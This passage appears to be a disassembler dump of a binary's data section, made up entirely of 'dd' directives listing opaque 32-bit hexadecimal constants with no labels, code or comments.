		dd 153CC509h, 76210038h, 9343873Dh, 0EE6B05A2h,	0C03975DCh
		dd 5CB41010h, 0DBA4610Ch, 1664D8B3h, 6C4859h, 293E4F26h
		dd 0C3B00CE9h, 0EF00ACFAh, 599A9D21h, 0E241FD94h, 0B4D00EFFh
		dd 0EC802B86h, 32CE4DEFh, 25887E00h, 8BA1164Bh,	0E6730010h
		dd 0CFA531DDh, 0C9152755h, 0FB4FAF3h, 0C0430498h, 0AE53E81Bh
		dd 0BEF85Dh, 78508076h,	4805C537h, 0FC738C71h, 0B427E300h
		dd 0A40E321Eh, 0C5A700B0h, 0C6B6B7C3h, 1A00BBBEh, 0AF581CADh
		dd 70BA0893h, 0D83A05E0h, 10B2F7h, 0DF4F29E0h, 0BC021F27h
		dd 8E904B62h, 1D8A0B5h,	7E99BBh, 0EDA77365h, 3189C855h
		dd 0D3740EEAh, 0F5CB0700h, 8CFEF302h, 0E66C2824h, 0FC7A00FCh
		dd 0AD5A2B50h, 880132A3h, 93FBAC77h, 0C4405FE9h, 305773C7h
		dd 0A711C11Fh, 4903A166h, 0D7457867h, 42029806h, 2FEC026Eh
		dd 187C21CBh, 1220E37Fh, 3003A8B9h, 0F2654964h,	2EE74006h
		dd 501D8Fh, 0D54B4CE9h,	0FEC18E12h, 0E0EA5B00h,	0DBD96B73h
		dd 0E9010047h, 0AA7FA6FCh, 6C008FC9h, 43DC4424h, 0EFB6776h
		dd 88EAE173h, 4F20F0ACh, 28E08E07h, 0C6201880h,	3DB45A9h
		dd 1160AAA7h, 0DEA0F97Bh, 0C00761F3h, 23BF7F39h, 7C0A46E0h
		dd 99380073h, 3D20AD1Dh, 4200CBE8h, 575352D6h, 135A10AEh
		dd 14DBF0h, 3270AA90h, 8100A95Eh, 0DA3A9058h, 0B7D70B7Fh
		dd 1C3C6178h, 0A74A00BAh, 1C5E145h, 2BEE0EBh, 0AA8B6A84h
		dd 3449EA19h, 0F945E6h,	67B02781h, 0E8007B42h, 0AD50027Fh
		dd 0A7954h, 46921455h, 0AADBB58Dh, 82A17400h, 0E8CEB821h
		dd 1161000Ch, 50C2EB62h, 360029F9h, 5B44F7D6h, 0BB73E5h
		dd 648E2EDFh, 2FDEBE49h, 3AEE4DEEh, 60AFAC13h, 3F0AEA0h
		dd 5E0DDA03h, 6E904939h, 5C1F6D4Bh, 1A80EC2Dh, 2ABECFE2h
		dd 0DFB102A4h, 773A83B5h, 0ACEA3A60h, 0FC1CA04h, 38D04D27h
		dd 7F6963h, 0EBC6F5BCh,	0FABEAC97h, 0A0A0DEB8h,	0F402F9F1h
		dd 0E2638F87h, 986443D4h, 2B1AB5Ah, 0FCAD2482h,	74680384h
		dd 0F37BE225h, 7A2AAE03h, 3BD4E16h, 0FD7D418h, 5EF9AF88h
		dd 0E491DD61h, 39C0058Eh, 0DAA83072h, 0C0B8E80Ch, 0DE690699h
		dd 0CE002262h, 45A86D5Ah, 2EF214E6h, 0E834AEh, 6359FEF7h
		dd 7C02D643h, 0B2CD7471h, 9BC46012h, 483F75F8h,	0A8002C5Ah
		dd 6C42077Ch, 3D305961h, 0BE777A0Fh, 78B9A0EEh,	72460053h
		dd 0F8524286h, 0D700043Ch, 0B42CA232h, 0E6D32829h, 8FBC0167h
		dd 0A6C6F102h, 0DFE7D0D5h, 5F63400h, 0CC2A235Bh, 2FE53C21h
		dd 0AE0020C8h, 0C316A187h
		dd 61008571h, 790FAFBBh, 0A69546h, 7531E625h, 30E73C8h
		dd 18A56F00h, 3CA7A222h, 0CB9C3FBFh, 0C7C600F9h, 4E10983Eh
		dd 0BD07F84Fh, 0BC3B952Ch, 0CE56006Fh, 12A681F5h, 23B98716h
		dd 0BDE21150h, 8C647460h, 31645658h, 548A5A26h,	47BCA0E6h
		dd 1DBE9610h, 0C128825Bh, 80B331ADh, 0F0FC3126h, 38178E20h
		dd 1C00F493h, 0EC55F836h, 0FE1D0E58h, 61A0C360h, 0A4D6E82Dh
		dd 3B0073B0h, 0DFB307A0h, 7E9996Eh, 5665C3EFh, 0F93CC01Bh
		dd 941F093Dh, 34806875h, 13D28395h, 1B290086h, 43B0B7A2h
		dd 800DEA5h, 66FFD08Bh,	3AE8F314h, 0F180A92Fh, 1B3821Bh
		dd 6326A0E2h, 0C7006CD4h, 0F344FB36h, 0B4BC045Bh, 0A20C0Ah
		dd 4F86744Eh, 3D7795h, 325E17ABh, 0D17B727Dh, 8FED6700h
		dd 0C3EB0BCEh, 0AF65001Ah, 0A1F936D7h, 0D9B0010Ch, 0B7022B76h
		dd 9BC24E69h, 40F04219h, 3AC7E998h, 0B904EBF4h,	0D076BB91h
		dd 14611FA4h, 7F858003h, 0A38D727Ch, 16D4A081h,	9980E7CFh
		dd 0BF9FBC8Ch, 0B71D960Dh, 3300ED89h, 9AC737F2h, 28BD7CC3h
		dd 18CA16h, 0F427E745h,	819FB58Ch, 71698230h, 7BBEA1h
		dd 777F257Ah, 0B79F12BDh, 2621FA14h, 84790008h,	727A7F1Dh
		dd 0D01628FFh, 59DFF22Ch, 1800009Fh, 904EFE3Ah,	37303524h
		dd 0F9C98014h, 6BC2001Fh, 457E984Bh, 0C0015BCh,	39B090B5h
		dd 3FD3D5h, 1957AA63h, 0ED2CD1AFh, 91231600h, 0FDE0AB24h
		dd 0A9BF1D5Dh, 3A5C019Ch, 607D1068h, 0E3006E18h, 6CEA5583h
		dd 141D715h, 5A20F5C1h,	0F0C2FB61h, 0E4007AFAh,	43B4E312h
		dd 314F51h, 0B96C646Bh,	41AC86DCh, 0EAB34Ch, 0D7590C65h
		dd 1F279CF2h, 79164AEh,	63014357h, 77B09903h, 0D872F063h
		dd 0A76A401h, 0BE7ECB3Bh, 1B850EAh, 0D5911ABh, 606A8D4Bh
		dd 4D00B4E0h, 6518B12Eh, 554806h, 0DBBB4180h, 1582DDE3h
		dd 0B1F5CC00h, 24AD96C7h, 0D4E9002Bh, 60AC5E7Fh, 174885BEh
		dd 58F1049Ch, 0B8A04F52h, 0A0DC1780h, 0C75040DBh, 8676F603h
		dd 4A6FFE00h, 0D1532D67h, 8F4B0097h, 99B23DFh, 0FC007142h
		dd 646E9FE1h, 0B25BC6h,	682A1AB8h, 6959645h, 4773CE0Eh
		dd 3E642062h, 2EFD44Ah,	12F0E3E9h, 0DB800743h, 5AEE7226h
		dd 0DFB7DD0Eh, 5168E78Ah, 0AA336051h, 0B526D862h, 105400ECh
		dd 0B0B33FC5h, 9A01ECB0h, 218075CDh, 5A60D4C7h,	51EC66h
		dd 7D410FDEh, 126E149Fh, 2600B87Ah, 4A816DC0h, 0EEBF300Dh
		dd 2C221E36h, 7461C03Ch, 0DA938078h, 0B6730130h, 498C2585h
		dd 0C4004CE6h, 5C48CBE3h, 94A8E7BEh, 0DD12EA1Dh, 98818525h
		dd 0F61010D0h, 0B300D4CCh, 0F83D42FDh, 0B5BA89h, 3AA310CAh
		dd 494F8B30h, 1DFD9C00h, 0C1792E3Bh, 0C6FE005Bh, 10E89ADAh
		dd 111EE34Ch, 7D47A14Bh, 9B43EFh, 7C248417h, 8D70069h
		dd 0ACB1C13h, 3B01CAE9h, 0AF419149h, 5FE0D935h,	5ECE12F2h
		dd 4A0C409Ah, 0B0DEE0C7h, 3D133800h, 0A1739E87h, 358A00F4h
		dd 406AC432h, 0C5001F1Bh, 0F171A818h, 74C1D183h, 3079F499h
		dd 28F9AAA6h, 7D0E2BD4h, 0FF71CDh, 0E05ECF13h, 0F03458B3h
		dd 0DC35C00h, 0E27976AEh, 0AC2F9A28h, 0A9D62004h, 0C580ABA4h
		dd 5B01AE4h, 0E2B4F85Bh, 0EDA004FDh, 34E4C022h,	98995D5Ah
		dd 0C1E3D00h, 4A07DC83h, 80E027BDh, 0F03B01BCh,	0D1A7F300h
		dd 89E32974h, 9E9100D5h, 2A3CD430h, 0B072E87h, 7842AB1Eh
		dd 1DEBF3B0h, 810A07AFh, 0A0DE5A46h, 9AF0DBEDh,	0AE6238h
		dd 1EB2572Ch, 264EA33Bh, 0B31123h, 0E6CA1F03h, 749A316Ch
		dd 407D800h, 0B7C5C01Bh, 4A5102E3h, 33B8D4E6h, 0C0DF94A4h
		dd 9A74EE2Eh, 1548D001h, 216016E2h, 1342DFDFh, 946DE05Dh
		dd 83AE0549h, 0C04442BCh, 0DF1133B2h, 0DC645F1Ch, 9A80586Eh
		dd 3EEFD679h, 0D83B01DEh, 64896D45h, 0F28070ACh, 7AC2B40Ah
		dd 9E809CFAh, 0AD2DD9E6h, 557ACFh, 3FEBBA71h, 7EFDC751h
		dd 1B862B00h, 9CB83913h, 0B9342C74h, 16378EC0h,	0D79E0962h
		dd 58051E63h, 0D2EE5E92h, 0C8BA78C0h, 11601D55h, 3B0DCFAEh
		dd 0D590C23Fh, 0E4428B97h, 0B20C34C0h, 0A768700Fh, 922DE089h
		dd 3F11E46h, 0F68E8CC8h, 65F88287h, 0CD00B820h,	22AB0996h
		dd 163DE1Eh, 0B7818631h, 80D908ECh, 68D2F551h, 3BF803h
		dd 0A00EC454h, 0E071C004h, 0BD8D20C0h, 3D275Ch,	0CDCCA712h
		dd 68F0B854h, 80E2503Ch, 9BF7CB45h, 17BB7648h, 14E50BD9h
		dd 0EB0AD849h, 5CC18EFh, 565A4383h, 4EC0084h, 0AF67C2Fh
		dd 826AC0CEh, 8078056Fh, 0BB2A99E9h, 0A3B0ECh, 75C193A7h
		dd 9F46B08Ah, 644AAE00h, 0FBDCEFB9h, 0F7CC000Ah, 333F57FEh
		dd 36001C62h, 0B4DDB077h, 4D280FC9h, 2E1E1C4Bh,	422ADDCDh
		dd 0AE8EB7F9h, 0F00C2441h, 0C5046D89h, 56EBA94h, 4BA53090h
		dd 0AE723F85h, 379FE282h, 0B0E0BF7Ch, 5D010DDDh, 715DEF4h
		dd 19801F8Ah, 0AC8594F6h, 8D908718h, 0DBF3D403h, 0D453E8A7h
		dd 36D6C90h, 0BF48025Dh, 0DDB81BA4h, 0C7BB4048h, 0B53ADA00h
		dd 36045C68h, 99D07BAh,	10D60F21h, 8E84B363h, 4B0707E0h
		dd 7DF7D381h, 308AFBB0h, 9AA03A39h, 0BB730C80h,	3DF7BF9h
		dd 0BE264401h, 4F4393CFh, 901A828h, 9907A6D4h, 0FC887155h
		dd 9558E666h, 657C0080h, 8C2A20D7h, 4D0D482Dh, 21CF0074h
		dd 0A0A4FEFCh, 8F00C90Eh, 2583C11Bh, 7C513FBh, 0D6A51FB1h
		dd 300FB05Dh, 820121A3h, 6280CEC2h, 31D05122h, 34070AFAh
		dd 2490E603h, 668038D0h, 765246C8h, 0CD70DB25h,	0C3196302h
		dd 407C3223h, 38E4643Ch, 0ED0040CBh, 1E91F9A5h,	37767F19h
		dd 9896A4A0h, 0FD0A3Bh,	22728F52h, 949A2EE2h, 0DAE84014h
		dd 67038CEAh, 0E69831B5h, 4A9F83Fh, 7C8E01D9h, 53886A9Eh
		dd 0F373D066h, 90004FFAh, 0B2CAB3CCh, 1E2050Ah,	5E3EB8C2h
		dd 0EC110162h, 0FD00A8BBh, 0C18FDBB7h, 38F33AFEh, 0AA820733h
		dd 34886B37h, 89106560h, 4ED938h, 0E9A566E3h, 2AD8E56h
		dd 6D1AA448h, 11C03273h, 2D02BDD8h, 0B55646D5h,	8074CAC6h
		dd 322A60C3h, 9A080077h, 4B89A396h, 0A612F3D6h,	748B7FA5h
		dd 9F5D8CA0h, 96358902h, 68D59384h, 34EFA74h, 4A34147Fh
		dd 9807779Eh, 40FE321Eh, 28A3B044h, 1CA81614h, 758E885Ch
		dd 0D1877E80h, 0D007332Ah, 1538AC2Fh, 0EA0F11D0h, 0E6EA4Fh
		dd 91A7F08Bh, 7E37C8F7h, 7ACAEF00h, 785B6B1Bh, 34B80344h
		dd 467145BBh, 0F4F93AE9h, 0C0002159h, 0F5B3FBABh, 12CBF776h
		dd 0BC627FCCh, 46396156h, 0C9F8E97Ah, 8C4A03FBh, 590972B7h
		dd 56E0EFA2h, 0B61D1B92h, 0AD003B45h, 0E3FBCA01h, 0AD4006Ch
		dd 0A5600841h, 0CB003896h, 20D0F518h, 766B92F0h, 2FD20031h
		dd 814FD85Dh, 0EA00F4CAh, 9943C907h, 4A8DDFh, 73E1BE83h
		dd 2FA4B392h, 67D92B00h, 5C175976h, 0BE490015h,	0DB4C13F9h
		dd 6400B7ECh, 93C9589Dh, 14B4A99h, 7BFFB66Ah, 6082C171h
		dd 42030158h, 369687F7h, 0A4DBF802h, 0E55E27E1h, 0A100B3F6h
		dd 2B6EB59Dh, 49A30420h, 0C065114Ah, 63D51687h,	30C43707h
		dd 0FE818B95h, 0B3D42948h, 5B4505C1h, 39385DAh,	0F278A98Ch
		dd 0C084D0B8h, 0BD44A707h, 213066C7h, 0F8D55E5Fh, 43910036h
		dd 47756FDAh, 2D0074E4h, 1D1FD17Dh, 0F28372A3h,	0D4EC000Ch
		dd 766C4A50h, 0B000BEFFh, 4C88C270h, 1E1803Eh, 5A0575F8h
		dd 0C09B91D9h, 0DE00EBD3h, 2477B54Eh, 289FB2h, 0F0C81673h
		dd 1C60DC0Bh, 97F8A27Dh
		dd 0F87A6700h, 850148C9h, 382D0357h, 5C9D9E35h,	5606CDA8h
		dd 7F540400h, 682029B8h, 185100ACh, 776DA812h, 2500F2D5h
		dd 73392452h, 1B38E4h, 175FB815h, 0B1FE1DF8h, 507933F0h
		dd 9D00077Fh, 0F24C48E9h, 6FCA0Dh, 0A3A4ACCFh, 2A1BC9E6h
		dd 0FFBB8603h, 6EA57F1h, 0D117BCB8h, 4400481Ah,	92CE72Ah
		dd 78ACE48Dh, 3ED81FAFh, 0CCA1C7BBh, 4D2B8013h,	730051B5h
		dd 87094B54h, 4978557Dh, 19155CD3h, 3C009C89h, 0B1FBE8A1h
		dd 0C0E0E312h, 0FE3B1B00h, 0DA7A6AB5h, 285100A3h, 884BDF5Ch
		dd 0CB90AAACh, 0ED28D1EAh, 0A101F032h, 557EF4D6h, 6180F23Eh
		dd 4B418F23h, 6300658Bh, 93039436h, 5CD6ECh, 7B70A22h
		dd 2734127Fh, 0BE26E939h, 0A26780C2h, 0A16D4DB3h, 1659EC1Ah
		dd 0E30C50Bh, 0A840389Ah, 0E6BE0E8Ch, 1491D80Eh, 9377C0C7h
		dd 792F359h, 4D897245h,	0E5FDE0B4h, 5F0078C6h, 0B17CFB82h
		dd 0FA2D5BDDh, 0ACE685h, 9B35498Dh, 0B6D79C41h,	0B900E090h
		dd 39A1787Bh, 9DE48Ah, 77F6D1Bh, 3E630DE7h, 58DEB226h
		dd 98E96F0Ah, 0B381EE00h, 3B6B21BBh, 0B80D8EBh,	63D3704Bh
		dd 0F73F49B6h, 0FD7A89E0h, 0C78ED545h, 97348980h, 814C60D1h
		dd 0A7B30018h, 6756A555h, 0E48B0332h, 209E2F37h, 6AD98A0h
		dd 1881303Eh, 0C1B16E66h, 72E2A4h, 0C4554D23h, 2BD5BCFAh
		dd 6B5443Ch, 410F5ED2h,	0E38C28D0h, 7D970298h, 0C766FB8Dh
		dd 0D8338848h, 6C003DE2h, 0EE12453Bh, 3AD0894Fh, 0B5800F81h
		dd 0F5B9B601h, 0D31D34D5h, 82C3F8E0h, 0F084BD9Fh, 2C3D4Fh
		dd 5B874B58h, 0AE79F6A2h, 18F28801h, 152B78A6h,	2C0FBFDCh
		dd 0E031770h, 2AA172ABh, 0CC3F0D46h, 0F90065B3h, 1A55D131h
		dd 61D697h, 4A59F434h, 845736FEh, 9942F501h, 0EE04ABA8h
		dd 77B7D4h, 0E4D672ADh,	94EA1D13h, 4EFB4112h, 0FA320C00h
		dd 0E762D0h, 309D5C86h,	1E8DF850h, 0CD572400h, 85702143h
		dd 0F769009Ch, 0AF44C0F0h, 88000F06h, 924FD2F6h, 0FC826E2h
		dd 0A54EF28Bh, 83A9F4E0h, 7B2EA465h, 3700D897h,	0B19F9B2Bh
		dd 0B4EF007Dh, 1E632EF6h, 7001AEDh, 1F5412Dh, 3AEDA6Fh
		dd 5F56FFFBh, 0E5B04738h, 1900BC22h, 0D5081C43h, 1CE2B866h
		dd 1853290Eh, 0DA16986Eh, 25D11B00h, 8A31FD80h,	172A0047h
		dd 7AF39FB3h, 0E900BE6Eh, 4188DFEFh, 5627CAEh, 0A75A08CCh
		dd 22A00064h, 0CDF84BA9h, 12F1A800h, 168C15FEh,	340A007Dh
		dd 0F07EB09Bh, 63003D86h, 0F7184BD5h, 0E53C77h,	74F223A9h
		dd 0B434C41Ah, 1B2EAC07h, 65B0F5E9h, 1E183D5Fh,	40A54182h
		dd 0FD97B53Ch, 26610C02h, 1CD3D778h, 0E858E560h, 6508006Ah
		dd 3651856Bh, 11C079F0h, 405A1F8h, 2BEF00E1h, 0AB70FBA2h
		dd 7C00E05Dh, 0E5791F12h, 7E05605Fh, 40CA0072h,	51B709A7h
		dd 0C0242F98h, 0BF0324A0h, 0C02CE676h, 24DFD6BDh, 80208BDBh
		dd 0D112EF0Eh, 0C90AFAE5h, 0ED7BAFD3h, 4A6ABB00h, 38A2C0h
		dd 4474D505h, 0B7B5EA0Eh, 78459E0Eh, 0F0ACA0DDh, 0C677D3h
		dd 0B95C8C8Fh, 97CF0675h, 10149400h, 253D4BA8h,	4A77006Bh
		dd 1BEEF4E1h, 531FE712h, 3500DE08h, 313A2B0Fh, 54CE0739h
		dd 438BA495h, 75F8CFF7h, 78134A64h, 0F200AD38h,	0D0025B8Ah
		dd 590A00D5h, 0F7550B9Bh, 2A0023ABh, 0B89FDC34h, 1E295Eh
		dd 0A218C08Ah, 63ED5DBh, 92C44C00h, 9AB8481Fh, 0A0D0EEEEh
		dd 3A8E71Ch, 0F7C7B38Eh, 2DA85BA3h, 790042E3h, 7DD90F54h
		dd 0EEF0A006h, 4BC50016h, 7A382F29h, 1D00E47Fh,	9518DFFDh
		dd 7A0BAC0h, 0D5C5A321h, 8D10F024h, 0CFF8A56Dh,	1663EB00h
		dd 4DC99987h, 8C0C00DEh, 6E985474h, 0BD580DB2h,	315380Fh
		dd 36B00203h, 0DFF9D0DBh, 748207A9h, 3744D447h,	90F3701Bh
		dd 6C00AC89h, 0BC99ADDDh, 74A6F98h, 0B11E79B7h,	3CC5B0EBh
		dd 8600E487h, 1A7D5E27h, 71E5C817h, 0BBD50088h,	32AAD850h
		dd 0C7605BD6h, 0A5F2DC18h, 0F8FC5A19h, 2B0C07CCh, 1690626Ch
		dd 13BA40F5h, 7BC1E2h, 683848E9h, 0AC01C689h, 0C3807CFEh
		dd 80D73124h, 0F01EBAh,	0F507206Eh, 0FCE9499Dh,	9F13E600h
		dd 7910EEB6h, 602700F1h, 457022B8h, 91032E63h, 9251C750h
		dd 1244E813h, 3074ECh, 0B5F1E8EFh, 0E065ABC9h, 754FE407h
		dd 0A02013FAh, 702D2Ch,	938FB20Ah, 0AC6AE3EBh, 0CB754805h
		dd 0F7C0164Eh, 13D726Bh, 925B0743h, 31BBBF9Ah, 5A006F0Dh
		dd 6F0F3EDFh, 9FCC18C7h, 576460E5h, 60486B3Ah, 58A75470h
		dd 40B00065h, 83F4135Ch, 4B60A367h, 0F7C2521h, 55A60050h
		dd 9C24C82h, 0FDE85C84h, 186AF637h, 7C03C87h, 242B4C95h
		dd 3D920838h, 57731303h, 101E3D62h, 0E2816E6Fh,	0B1C531DCh
		dd 18148ECCh, 408601A2h, 54604ED4h, 99CD0B50h, 0DA69CE51h
		dd 491F48E0h, 1D2C7E2Fh, 0A2186177h, 77275028h,	50D16B97h
		dd 40526207h, 51E1CDEAh, 0C8AC6407h, 74E10A6Ch,	0C608DE3h
		dd 5AB40F5Fh, 7960AD1Dh, 130E50FFh, 9F75AB00h, 1F3DD07Ch
		dd 0FA1E002Fh, 2DE139C4h, 0AB00030Dh, 88653F55h, 0D58942h
		dd 1C6A3B5Ch, 2C74EE2Ah, 6600EF79h, 3F68C054h, 0A8F7FCAAh
		dd 0DA759Ch, 8C1CF524h,	38CE2352h, 0E77BD4F5h, 819A1D3Ch
		dd 0C5214882h, 6560A42Fh, 0AEF500C2h, 3F6F53C9h, 0A300A825h
		dd 0D7CB12E3h, 1C71C0FFh, 19693h, 4AE24DC1h, 7C4C1787h
		dd 1E1F7FA2h, 51C018D5h, 8326A4BAh, 15E092h, 8D72AC3Ch
		dd 7B5470EEh, 0FC216C00h, 0E9E4DA91h, 0BA5D3FE7h, 0C2403280h
		dd 3AA253F3h, 0B5BC0601h, 0FF2BDD26h, 0EA3CE8h,	0CAEB24BBh
		dd 3076CB50h, 0C4BA4800h, 9FC5991Fh, 0C85C07E8h, 70224293h
		dd 0B5169D3Fh, 80A2B33Eh, 0A781890Fh, 1932E2h, 59DD6F0Ah
		dd 9111CB63h, 0A8620200h, 9C09E840h, 0EF5EE1Ah,	0F7519BD9h
		dd 0F0802BE0h, 7B0FD52Eh, 772E7FAh, 27053D7h, 60E8D96Fh
		dd 696B60E9h, 3301CBFEh, 593EB134h, 2880D819h, 0B0FC4F73h
		dd 4309EB3Bh, 20860A5Ch, 0E6A1596Ch, 7EDE011Ch,	0DA04D05Eh
		dd 0DBC8E320h, 8E00BD32h, 3FC744Dh, 3E1AA0D2h, 0B0DB52Ch
		dd 6150A870h, 8F5C5080h, 400C9613h, 90731F27h, 0C5A13CFDh
		dd 785C854h, 82ED021Eh,	887580D2h, 5F026F73h, 0A92F1B93h
		dd 522E0BCh, 950F011Fh,	0C3322762h, 43C080D4h, 0C8B1F730h
		dd 9A7C39h, 9E7EAEF9h, 3AF645Dh, 531E46F2h, 0BFC07995h
		dd 3DBA5072h, 0AD6300C6h, 0AB60C4B8h, 4600E3FEh, 69278C2Eh
		dd 3F5D378h, 11170E0Ch,	0E8B0846Fh, 1D007D40h, 8550E270h
		dd 0DA7E15h, 0F890F628h, 10867253h, 0A0007C74h,	0D3BDF00Ah
		dd 3CA2843Dh, 0B183749Ah, 0E1FA9835h, 0B9124800h, 0B3BFD115h
		dd 5F930017h, 1DB237D4h, 684C133Bh, 6100756Eh, 29B85BECh
		dd 54E97F74h, 0E8CCA2h,	0C8532563h, 6B73FA4Ch, 0BC889700h
		dd 490A72A0h, 0B80F0E76h, 8461B7ACh, 0D00DBEABh, 5CE4D6ECh
		dd 0F760E114h, 0D30175D8h, 613FD275h, 0B9E85228h, 818801E0h
		dd 590E0BB5h, 21B3C4C4h, 6A101500h, 85734DF3h, 0BA831C01h
		dd 0ECFE8AB8h, 0DE7E00A8h, 0A55E9154h, 510D9900h, 5D888F71h
		dd 4AE33EDAh, 0ED821180h, 284BF131h, 70C9FF00h,	42D73C32h
		dd 756E1E66h, 0EEBEE896h, 0FAE0309Dh, 5BDF4C58h, 2487B224h
		dd 0B935A080h, 0A10948h, 0C62B291Ah, 5F12D1BEh,	0AD00A8E6h
		dd 6DF1D0C1h, 5B6072D6h, 0CA938081h, 100E7159h,	80C2E680h
		dd 8ECD5F6Bh, 0CE7A007Dh
		dd 0E7890DD1h, 57E223F1h, 0ED1D2F02h, 80D70BF3h, 34BF2694h
		dd 0B566240Dh, 4EF7086Ch, 9712D586h, 623F3D74h,	5E9158F6h
		dd 0B42D2300h, 3C464125h, 0D5355F04h, 10C026BEh, 0DB701Ah
		dd 0D31DC889h, 0AD0474AEh, 2DA23D00h, 9A4FE92Ah, 0C4121F22h
		dd 7C5700A6h, 0FD65DDBFh, 7B33C0Fh, 4CE0E076h, 0C6C703h
		dd 0FCFF11B4h, 8463657Ah, 0DD879706h, 11565Eh, 14891E3Ah
		dd 5999280Ah, 0C6E76E00h, 231AAC24h, 567100BFh,	69EBCD85h
		dd 0F6E80A86h, 82A35E0Eh, 6BDA0090h, 15825D4h, 0CE3360E3h
		dd 7152EA4Bh, 48FDD0FCh, 0A2A03700h, 27BF5BFCh,	3DB10F18h
		dd 1C06AC5h, 1FD9A7A5h,	8D405403h, 0D564ED26h, 0AAC39C1Dh
		dd 6FABD6h, 1A02BE28h, 81A76259h, 0FC93EF02h, 60D98DAAh
		dd 604780DCh, 0B1A3284Dh, 0A3BA270h, 0EA4901C7h, 53EB39FCh
		dd 0E35DF0h, 44320974h,	0D882776Dh, 31129300h, 599B02B5h
		dd 7D4A0170h, 0FFC538AEh, 41B8FB26h, 0B713DB61h, 8C003420h
		dd 6FE5F771h, 0CC571218h, 17B840BCh, 65F1F40Ch,	9C87FF3Dh
		dd 2642384Ch, 6304105Dh, 546ED060h, 117C6939h, 19A8AD00h
		dd 60008B3Bh, 159707CBh, 34FCDAFAh, 80C22A56h, 65BE81A9h
		dd 82704A38h, 0BDEDF303h, 0ACC9E3F0h, 14C08084h, 11C4712h
		dd 696ADF63h, 807C3C3Eh, 0EDC08599h, 7335D0Ah, 6667FAEEh
		dd 0AD79805Fh, 715815C7h, 9F4868h, 3226822Dh, 934FFB3h
		dd 6341AFB9h, 5AE61000h, 6057EC3h, 50BABFF2h, 7302ABC0h
		dd 68A51F65h, 806C5EDBh, 0BF1F7477h, 68B0971Ch,	51F2FC00h
		dd 92407228h, 38E685h, 0FB6265A5h, 54FA80E0h, 35962B00h
		dd 0BE29E78Fh, 876A1382h, 0B64E00F2h, 0CAC9014Eh, 80AEB43Eh
		dd 0FF1DED75h, 269F88h,	5146C748h, 0C66DEE37h, 8070F200h
		dd 4A3936FBh, 0C2D60099h, 27E6317Fh, 6F1C8CC4h,	0BE00A674h
		dd 1BDEA807h, 9BF5164Eh, 919105F3h, 5FDA00FEh, 0AE32A234h
		dd 861EA00h, 9D72B4Fh, 0D22900C2h, 0ACD10195h, 0DAF097D8h
		dd 9B48F607h, 0C020E162h, 3F58332h, 34375B94h, 0E990057Ah
		dd 4400BE41h, 78EA3F5Eh, 2A4B25h, 8A37797Fh, 2C97591Fh
		dd 3D4FA412h, 0B5AF1400h, 7EFC8BCh, 4DD665AAh, 0E6FFA094h
		dd 0C50726B3h, 618DE70h, 0DB8A9DC0h, 0E2E073Dh,	70342886h
		dd 4E902709h, 0C2A8D404h, 0B8801641h, 5902CBE6h, 0DB00B4F6h
		dd 0BC31BB36h, 0DF00D2F9h, 8CE0E19Fh, 1E86397h,	4F96CFC4h
		dd 0F4708499h, 5200CE5Dh, 8B4EE275h, 2E9782Bh, 841A0929h
		dd 70E8D04Ah, 0BD0056ACh, 60F22101h, 8E8595h, 25DFB9F3h
		dd 0C5405A94h, 8179323Ch, 4C7BBA6h, 58294BD4h, 51D07E0Eh
		dd 3C580E92h, 59237620h, 74057C2Fh, 0E3CF70DCh,	68D41005h
		dd 63D11C0Fh, 0DC7B731h, 0C3FEE308h, 0F059E118h, 0EC38D8BBh
		dd 1D770230h, 0E0CFB293h, 1AD015h, 6C86018Ah, 544ED6C2h
		dd 0F792718h, 4937A49h,	741F6A9Eh, 30ACA389h, 0C7C120C5h
		dd 9450F803h, 82A04CB8h, 9C2641Ch, 6CB307F8h, 0EA20520Ah
		dd 25D8C9h, 0A75365F0h,	4D300990h, 55006198h, 8B97B502h
		dd 9D7521h, 0DDDCC565h,	5710CD7Eh, 0D1665200h, 8158A26Dh
		dd 77833C42h, 0E58195BAh, 0A953ABC6h, 0F60F034h, 4005FE00h
		dd 45C72F96h, 0FB4E0BB8h, 0A6009F39h, 57EFA646h, 0B838902h
		dd 40B0521Dh, 740A8EDh,	0B1AB5677h, 0F4980049h,	66001B36h
		dd 47082AE2h, 0F2FC432h, 0B4C10539h, 0E5041980h, 7607278Fh
		dd 40937815h, 657C8680h, 258B1D4Ch, 0A07DC077h,	397A6D43h
		dd 0B1C0D803h, 93E550FEh, 680EF278h, 1C762B4Ch,	43840FE7h
		dd 948C51C2h, 54F70824h, 0E77ECD80h, 43E354h, 0D06EEBB8h
		dd 0E0FA3B5Ch, 87DC0B05h, 0D880B5C3h, 2A07A5A6h, 90C84D63h
		dd 0B4961F94h, 0F31C3C7h, 83061CFh, 788E2138h, 0F9F7796h
		dd 0C783DA19h, 33F804A0h, 8F2E92A1h, 688C04B3h,	24493084h
		dd 8F405323h, 0A72C9FDCh, 210C6520h, 393430D4h,	8156411Bh
		dd 214F0BE1h, 5882FAFCh, 0A2CBA06Ah, 60065884h,	23B5966Fh
		dd 421189C7h, 96778D00h, 0D41BF5EAh, 0C7F33C00h, 311924ABh
		dd 8081E9F4h, 0FE830AFFh, 35A98B56h, 0DC5880B8h, 33A274E6h
		dd 4308CED4h, 0C0102100h, 7F26990Dh, 0E8E90D4Dh, 984933F7h
		dd 0DEB99458h, 9225004Ah, 0FD8D321Fh, 3F73F1B3h, 6ADB2A00h
		dd 0F3BB61BEh, 66E900C2h, 9C51C32Bh, 2800F2F1h,	0F072388Ch
		dd 0C475A7h, 5B1EC902h,	0D36FEABBh, 7D2BD600h, 0AACF8E09h
		dd 1FBC00AFh, 0E0FEBF46h, 0A001DDECh, 0EA696EA8h, 4DC4ED92h
		dd 135603ADh, 5EEFE8B5h, 0E5C010C2h, 2F0048BBh,	33FFAA68h
		dd 3B3DE042h, 8807446Eh, 9EFE7Ah, 0D0BCE327h, 42C0D700h
		dd 7823D1D9h, 246C0016h, 2A5FA679h, 5404AB38h, 0C10FACAAh
		dd 6F423A80h, 23BD1730h, 0D07A000Dh, 0E1C76838h, 0E003CE8h
		dd 54406C89h, 791C3A4h,	0A331B606h, 7166D0FDh, 0BE38A755h
		dd 0FCC000ABh, 0FE13D48Dh, 0C27D00CBh, 663BE228h, 0D7007E9Ch
		dd 1FC8FD18h, 1C2F21h, 0FA2AD8B2h, 5F3F6EE9h, 2C57B100h
		dd 89838EE7h, 0C2250051h, 78F0A3BAh, 76003F23h,	84DD7957h
		dd 7E1AB5h, 4015A031h, 2466904Eh, 7C555C00h, 230A10FFh
		dd 0BF470087h, 9A56D586h, 0B800AC90h, 0B2EA0F57h, 7D4B550Dh
